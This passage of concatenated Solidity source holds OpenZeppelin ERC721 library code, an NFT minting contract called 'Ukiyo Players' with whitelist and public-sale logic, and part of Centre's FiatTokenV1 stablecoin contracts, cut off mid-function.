function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overridden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: ukiyo.sol
pragma solidity 0.8.7;
contract UkiyoPlayers is ERC721, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string public baseURI;
string public baseExtension = ".json";
uint256 public maxSupplyPresale = 1000;
uint256 public maxSupply = 5555;
uint256 public mintPrice = 0.055 ether;
uint256 public presaleMax = 1;
uint256 public mainsaleMax = 5;
bool public whitelistOpen = false;
bool public publicSaleOpen = false;
mapping (address => uint256) whitelistClaimed;
mapping (address => uint256) mainsaleClaimed;
mapping (address => bool) public whitelistedWallets;
constructor(string memory _initBaseURI) ERC721("Ukiyo Players", "UKIYO")
{
setBaseURI(_initBaseURI);
for(uint256 i=0;i<200;i++)
{
_tokenIdTracker.increment();
_safeMint(msg.sender, totalSupply());
}
}
modifier onlySender {
require(msg.sender == tx.origin);
_;
}
modifier whitelistIsOpen {
require(whitelistOpen == true);
_;
}
modifier mainsaleIsOpen {
require(publicSaleOpen == true);
_;
}
function whitelistMintUkiyoPlayer(uint256 howManyUkiyoPlayers) public payable nonReentrant onlySender whitelistIsOpen
{
require(whitelistedWallets[msg.sender] == true, "You aren't whitelisted!");
require((totalSupply() + howManyUkiyoPlayers) <= maxSupplyPresale, "Ukiyo Players SOLD OUT!");
require((whitelistClaimed[msg.sender] + howManyUkiyoPlayers) <= presaleMax);
for(uint256 i=0; i<howManyUkiyoPlayers; i++)
{
whitelistClaimed[msg.sender] += 1;
_tokenIdTracker.increment();
_safeMint(msg.sender, totalSupply());
}
}
function mintUkiyoPlayer(uint256 howManyUkiyoPlayers) public payable nonReentrant onlySender mainsaleIsOpen
{
require(msg.value >= (mintPrice * howManyUkiyoPlayers), "Minting a Ukiyo Player 0.055 Ether Each!");
require((totalSupply() + howManyUkiyoPlayers) <= maxSupply, "Ukiyo Players SOLD OUT!");
require((mainsaleClaimed[msg.sender] + howManyUkiyoPlayers) <= mainsaleMax);
for(uint256 i=0; i<howManyUkiyoPlayers; i++)
{
mainsaleClaimed[msg.sender] += 1;
_tokenIdTracker.increment();
_safeMint(msg.sender, totalSupply());
}
}
function addWhiteList(address[] memory whiteListedAddresses) public onlyOwner
{
for(uint256 i=0; i<whiteListedAddresses.length;i++)
{
whitelistedWallets[whiteListedAddresses[i]] = true;
}
}
function withdrawEther() external onlyOwner {
(bool hs, ) = payable(0xDFfF0915a584D29d3bf1b7D4783698ED2a3ED403).call{value: (address(this).balance * 250 / 10000)}("");
require(hs);
(bool os, ) = payable(msg.sender).call{value: address(this).balance}("");
require(os);
}
function flipWL() public onlyOwner
{
whitelistOpen = !whitelistOpen;
}
function flipPublic() public onlyOwner
{
publicSaleOpen = !publicSaleOpen;
}
function setMaxSupply(uint256 _newSupply) public onlyOwner
{
maxSupply = _newSupply;
}
function setMintPrice(uint256 _mainsalePrice) public onlyOwner
{
mintPrice = _mainsalePrice;
}
function setMaxPresaleTx(uint256 _preMax) public onlyOwner
{
presaleMax = _preMax;
}
function setMaxMainsaleTx(uint256 _mainMax) public onlyOwner
{
mainsaleMax = _mainMax;
}
function devMint(uint256 mintAmount) public onlyOwner
{
for(uint256 i=0;i<mintAmount;i++)
{
_tokenIdTracker.increment();
_safeMint(msg.sender, totalSupply());
}
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : "";
}
function totalSupply() public view returns (uint256) {
return _tokenIdTracker.current();
}
function walletOfOwner(address address_) public virtual view returns (uint256[] memory) {
uint256 _balance = balanceOf(address_);
uint256[] memory _tokens = new uint256[] (_balance);
uint256 _index;
uint256 _loopThrough = totalSupply();
for (uint256 i = 0; i < _loopThrough; i++) {
bool _exists = _exists(i);
if (_exists) {
if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; }
}
else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; }
}
return _tokens;
}
function multiTransferFrom(address from_, address to_, uint256[] calldata tokenIds_) public {
for (uint256 i = 0; i < tokenIds_.length; i++) {
ERC721.transferFrom(from_, to_, tokenIds_[i]);
}
}
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] |
pragma solidity ^0.4.24;
// File: contracts/Ownable.sol
/**
* Copyright CENTRE SECZ 2018
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished to
* do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract from https://github.com/zeppelinos/labs/blob/master/upgradeability_ownership/contracts/ownership/Ownable.sol
* branch: master commit: 3887ab77b8adafba4a26ace002f3a684c1a3388b modified to:
* 1) Add emit prefix to OwnershipTransferred event (7/13/18)
* 2) Replace constructor with constructor syntax (7/13/18)
* 3) consolidate OwnableStorage into this contract
*/
contract Ownable {
// Owner of the contract
address private _owner;
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev The constructor sets the original owner of the contract to the sender account.
*/
constructor() public {
setOwner(msg.sender);
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
_owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
setOwner(newOwner);
}
}
// File: contracts/Blacklistable.sol
/**
* Copyright CENTRE SECZ 2018
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished to
* do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
/**
* @title Blacklistable Token
* @dev Allows accounts to be blacklisted by a "blacklister" role
*/
contract Blacklistable is Ownable {
address public blacklister;
mapping(address => bool) internal blacklisted;
event Blacklisted(address indexed _account);
event UnBlacklisted(address indexed _account);
event BlacklisterChanged(address indexed newBlacklister);
/**
* @dev Throws if called by any account other than the blacklister
*/
modifier onlyBlacklister() {
require(msg.sender == blacklister);
_;
}
/**
* @dev Throws if argument account is blacklisted
* @param _account The address to check
*/
modifier notBlacklisted(address _account) {
require(blacklisted[_account] == false);
_;
}
/**
* @dev Checks if account is blacklisted
* @param _account The address to check
*/
function isBlacklisted(address _account) public view returns (bool) {
return blacklisted[_account];
}
/**
* @dev Adds account to blacklist
* @param _account The address to blacklist
*/
function blacklist(address _account) public onlyBlacklister {
blacklisted[_account] = true;
emit Blacklisted(_account);
}
/**
* @dev Removes account from blacklist
* @param _account The address to remove from the blacklist
*/
function unBlacklist(address _account) public onlyBlacklister {
blacklisted[_account] = false;
emit UnBlacklisted(_account);
}
function updateBlacklister(address _newBlacklister) public onlyOwner {
require(_newBlacklister != address(0));
blacklister = _newBlacklister;
emit BlacklisterChanged(blacklister);
}
}
// File: contracts/Pausable.sol
/**
* Copyright CENTRE SECZ 2018
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished to
* do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* Based on openzeppelin tag v1.10.0 commit: feb665136c0dae9912e08397c1a21c4af3651ef3
* Modifications:
* 1) Added pauser role, switched pause/unpause to be onlyPauser (6/14/2018)
* 2) Removed whenNotPause/whenPaused from pause/unpause (6/14/2018)
* 3) Removed whenPaused (6/14/2018)
* 4) Switches ownable library to use zeppelinos (7/12/18)
* 5) Remove constructor (7/13/18)
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
event PauserChanged(address indexed newAddress);
address public pauser;
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev throws if called by any account other than the pauser
*/
modifier onlyPauser() {
require(msg.sender == pauser);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyPauser public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyPauser public {
paused = false;
emit Unpause();
}
/**
* @dev update the pauser role
*/
function updatePauser(address _newPauser) onlyOwner public {
require(_newPauser != address(0));
pauser = _newPauser;
emit PauserChanged(pauser);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/FiatTokenV1.sol
/**
* Copyright CENTRE SECZ 2018
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is furnished to
* do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
pragma solidity ^0.4.24;
/**
* @title FiatToken
* @dev ERC20 Token backed by fiat reserves
*/
contract FiatTokenV1 is Ownable, ERC20, Pausable, Blacklistable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
string public currency;
address public masterMinter;
bool internal initialized;
mapping(address => uint256) internal balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 internal totalSupply_ = 0;
mapping(address => bool) internal minters;
mapping(address => uint256) internal minterAllowed;
event Mint(address indexed minter, address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 amount);
event MinterConfigured(address indexed minter, uint256 minterAllowedAmount);
event MinterRemoved(address indexed oldMinter);
event MasterMinterChanged(address indexed newMasterMinter);
function initialize(
string _name,
string _symbol,
string _currency,
uint8 _decimals,
address _masterMinter,
address _pauser,
address _blacklister,
address _owner
) public {
require(!initialized);
require(_masterMinter != address(0));
require(_pauser != address(0));
require(_blacklister != address(0));
require(_owner != address(0));
name = _name;
symbol = _symbol;
currency = _currency;
decimals = _decimals;
masterMinter = _masterMinter;
pauser = _pauser;
blacklister = _blacklister;
setOwner(_owner);
initialized = true;
}
/**
* @dev Throws if called by any account other than a minter
*/
modifier onlyMinters() {
require(minters[msg.sender] == true);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
